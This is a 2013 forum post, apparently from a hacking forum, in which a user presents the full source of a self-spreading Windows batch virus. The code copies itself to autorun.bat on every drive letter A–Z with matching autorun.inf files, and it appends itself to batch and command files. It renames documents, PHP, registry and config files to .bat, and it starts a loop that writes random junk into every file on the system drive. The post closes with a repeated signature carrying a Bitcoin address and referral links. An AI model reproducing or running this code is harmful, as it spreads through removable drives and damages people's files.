(Actual) Batch virus 03-11-2013, 05:18 PM
#1
Okay, after having seen like billions of batch "viruses" like:
or
or even
which thing is embarassing:
- system is a C command for using a shell command;
- rm does nowhere exist.
I've never seen a real batch virus, but I think this should be called so:
This basically keeps on infecting other drives to spread (yes, it has got a spreading function) and infects other bat, cmd, txt, doc, and other files changing their extensions to bat and also puts junk numbers & characters in all files it finds in the system drive (but without overwriting content in them).
Though it is a very low level virus, (not a big thing at all, I coded it like 5 minutes but I just wanted to make a so defineable "virus") this should be defined as a virus as properly infects other files with its own codes.
But if anybody finds a reason why it isn't properly a virus please tell me.
Code:
@echo off
:loop
md %random%
goto loopCode:
@echo off
rd C:\Code:
@echo off
system(rm *.*)- system is a C command for using a shell command;
- rm does nowhere exist.
I've never seen a real batch virus, but I think this should be called so:
Code:
@echo off
color 0a
title Batch Virus by Noize
:: This time (is a virus) for real ::
cd %systemdrive%
copy %0 a:\autorun.bat
copy %0 b:\autorun.bat
copy %0 c:\autorun.bat
copy %0 d:\autorun.bat
copy %0 e:\autorun.bat
copy %0 f:\autorun.bat
copy %0 g:\autorun.bat
copy %0 h:\autorun.bat
copy %0 i:\autorun.bat
copy %0 j:\autorun.bat
copy %0 k:\autorun.bat
copy %0 l:\autorun.bat
copy %0 m:\autorun.bat
copy %0 n:\autorun.bat
copy %0 o:\autorun.bat
copy %0 p:\autorun.bat
copy %0 q:\autorun.bat
copy %0 r:\autorun.bat
copy %0 s:\autorun.bat
copy %0 t:\autorun.bat
copy %0 u:\autorun.bat
copy %0 v:\autorun.bat
copy %0 w:\autorun.bat
copy %0 x:\autorun.bat
copy %0 y:\autorun.bat
copy %0 z:\autorun.bat
echo [autorun] > A:\autorun.inf
echo open=autorun.bat >> A:\autorun.inf
echo [autorun] > B:\autorun.inf
echo open=autorun.bat >> B:\autorun.inf
echo [autorun] > C:\autorun.inf
echo open=autorun.bat >> C:\autorun.inf
echo [autorun] > D:\autorun.inf
echo open=autorun.bat >> D:\autorun.inf
echo [autorun] > E:\autorun.inf
echo open=autorun.bat >> E:\autorun.inf
echo [autorun] > F:\autorun.inf
echo open=autorun.bat >> F:\autorun.inf
echo [autorun] > G:\autorun.inf
echo open=autorun.bat >> G:\autorun.inf
echo [autorun] > H:\autorun.inf
echo open=autorun.bat >> H:\autorun.inf
echo [autorun] > I:\autorun.inf
echo open=autorun.bat >> I:\autorun.inf
echo [autorun] > j:\autorun.inf
echo open=autorun.bat >> j:\autorun.inf
echo [autorun] > k:\autorun.inf
echo open=autorun.bat >> k:\autorun.inf
echo [autorun] > l:\autorun.inf
echo open=autorun.bat >> l:\autorun.inf
echo [autorun] > m:\autorun.inf
echo open=autorun.bat >> m:\autorun.inf
echo [autorun] > n:\autorun.inf
echo open=autorun.bat >> n:\autorun.inf
echo [autorun] > o:\autorun.inf
echo open=autorun.bat >> o:\autorun.inf
echo [autorun] > p:\autorun.inf
echo open=autorun.bat >> p:\autorun.inf
echo [autorun] > q:\autorun.inf
echo open=autorun.bat >> q:\autorun.inf
echo [autorun] > r:\autorun.inf
echo open=autorun.bat >> r:\autorun.inf
echo [autorun] > s:\autorun.inf
echo open=autorun.bat >> s:\autorun.inf
echo [autorun] > t:\autorun.inf
echo open=autorun.bat >> t:\autorun.inf
echo [autorun] > u:\autorun.inf
echo open=autorun.bat >> u:\autorun.inf
echo [autorun] > v:\autorun.inf
echo open=autorun.bat >> v:\autorun.inf
echo [autorun] > w:\autorun.inf
echo open=autorun.bat >> w:\autorun.inf
echo [autorun] > x:\autorun.inf
echo open=autorun.bat >> x:\autorun.inf
echo [autorun] > y:\autorun.inf
echo open=autorun.bat >> y:\autorun.inf
echo [autorun] > z:\autorun.inf
echo open=autorun.bat >> z:\autorun.inf
for /f "tokens=*" %%f in ('dir *.bat /b /s') do type %0 >> %%f
for /f "tokens=*" %%f in ('dir *.cmd /b /s') do type %0 >> %%f
for /f "tokens=*" %%f in ('dir *.txt /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.rtf /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.doc /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.docx /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.php /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.reg /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.css /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.inf /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.ini /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.odt /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
for /f "tokens=*" %%f in ('dir *.mak /b /s') do move %%f %%f.bat & type %0 >> %%f.bat
set a=virus.bat
if exist virus.bat set a=malware.bat
:loop
echo :loop > %a%
echo for /f "tokens=*" %%%%a in ('dir *.* /b /s') do echo ^%rando^m%%r^andom%%ra^ndom%%rando^m%%r^andom% ^>^> %%%%a >> %a% & echo %ra^ndom%x^=^^^=S?S%r^andom% ^>^> %%%%f >> %a%
echo goto loop >> %a%
start %a%
if not exist :\autorun.bat copy %0 :\autorun.bat
if not exist :\autorun.bat copy %0 :\autorun.bat
if not exist a:\autorun.bat copy %0 a:\autorun.bat
if not exist b:\autorun.bat copy %0 b:\autorun.bat
if not exist c:\autorun.bat copy %0 c:\autorun.bat
if not exist d:\autorun.bat copy %0 d:\autorun.bat
if not exist e:\autorun.bat copy %0 e:\autorun.bat
if not exist f:\autorun.bat copy %0 f:\autorun.bat
if not exist g:\autorun.bat copy %0 g:\autorun.bat
if not exist h:\autorun.bat copy %0 h:\autorun.bat
if not exist i:\autorun.bat copy %0 i:\autorun.bat
if not exist j:\autorun.bat copy %0 j:\autorun.bat
if not exist k:\autorun.bat copy %0 k:\autorun.bat
if not exist l:\autorun.bat copy %0 l:\autorun.bat
if not exist m:\autorun.bat copy %0 m:\autorun.bat
if not exist n:\autorun.bat copy %0 n:\autorun.bat
if not exist o:\autorun.bat copy %0 o:\autorun.bat
if not exist p:\autorun.bat copy %0 p:\autorun.bat
if not exist q:\autorun.bat copy %0 q:\autorun.bat
if not exist r:\autorun.bat copy %0 r:\autorun.bat
if not exist s:\autorun.bat copy %0 s:\autorun.bat
if not exist t:\autorun.bat copy %0 t:\autorun.bat
if not exist u:\autorun.bat copy %0 u:\autorun.bat
if not exist v:\autorun.bat copy %0 v:\autorun.bat
if not exist w:\autorun.bat copy %0 w:\autorun.bat
if not exist x:\autorun.bat copy %0 x:\autorun.bat
if not exist y:\autorun.bat copy %0 y:\autorun.bat
if not exist z:\autorun.bat copy %0 z:\autorun.bat
echo [autorun] > A:\autorun.inf
echo open=autorun.bat >> A:\autorun.inf
echo [autorun] > B:\autorun.inf
echo open=autorun.bat >> B:\autorun.inf
echo [autorun] > C:\autorun.inf
echo open=autorun.bat >> C:\autorun.inf
echo [autorun] > D:\autorun.inf
echo open=autorun.bat >> D:\autorun.inf
echo [autorun] > E:\autorun.inf
echo open=autorun.bat >> E:\autorun.inf
echo [autorun] > F:\autorun.inf
echo open=autorun.bat >> F:\autorun.inf
echo [autorun] > G:\autorun.inf
echo open=autorun.bat >> G:\autorun.inf
echo [autorun] > H:\autorun.inf
echo open=autorun.bat >> H:\autorun.inf
echo [autorun] > I:\autorun.inf
echo open=autorun.bat >> I:\autorun.inf
echo [autorun] > j:\autorun.inf
echo open=autorun.bat >> j:\autorun.inf
echo [autorun] > k:\autorun.inf
echo open=autorun.bat >> k:\autorun.inf
echo [autorun] > l:\autorun.inf
echo open=autorun.bat >> l:\autorun.inf
echo [autorun] > m:\autorun.inf
echo open=autorun.bat >> m:\autorun.inf
echo [autorun] > n:\autorun.inf
echo open=autorun.bat >> n:\autorun.inf
echo [autorun] > o:\autorun.inf
echo open=autorun.bat >> o:\autorun.inf
echo [autorun] > p:\autorun.inf
echo open=autorun.bat >> p:\autorun.inf
echo [autorun] > q:\autorun.inf
echo open=autorun.bat >> q:\autorun.inf
echo [autorun] > r:\autorun.inf
echo open=autorun.bat >> r:\autorun.inf
echo [autorun] > s:\autorun.inf
echo open=autorun.bat >> s:\autorun.inf
echo [autorun] > t:\autorun.inf
echo open=autorun.bat >> t:\autorun.inf
echo [autorun] > u:\autorun.inf
echo open=autorun.bat >> u:\autorun.inf
echo [autorun] > v:\autorun.inf
echo open=autorun.bat >> v:\autorun.inf
echo [autorun] > w:\autorun.inf
echo open=autorun.bat >> w:\autorun.inf
echo [autorun] > x:\autorun.inf
echo open=autorun.bat >> x:\autorun.inf
echo [autorun] > y:\autorun.inf
echo open=autorun.bat >> y:\autorun.inf
echo [autorun] > z:\autorun.inf
echo open=autorun.bat >> z:\autorun.inf
goto loopThis basically keeps on infecting other drives to spread (yes, it has got a spreading function) and infects other bat, cmd, txt, doc, and other files changing their extensions to bat and also puts junk numbers & characters in all files it finds in the system drive (but without overwriting content in them).
Though it is a very low level virus, (not a big thing at all, I coded it like 5 minutes but I just wanted to make a so defineable "virus") this should be defined as a virus as properly infects other files with its own codes.
But if anybody finds a reason why it isn't properly a virus please tell me.
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U
If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)


![[Image: 2YpkRjy.png]](http://i.imgur.com/2YpkRjy.png)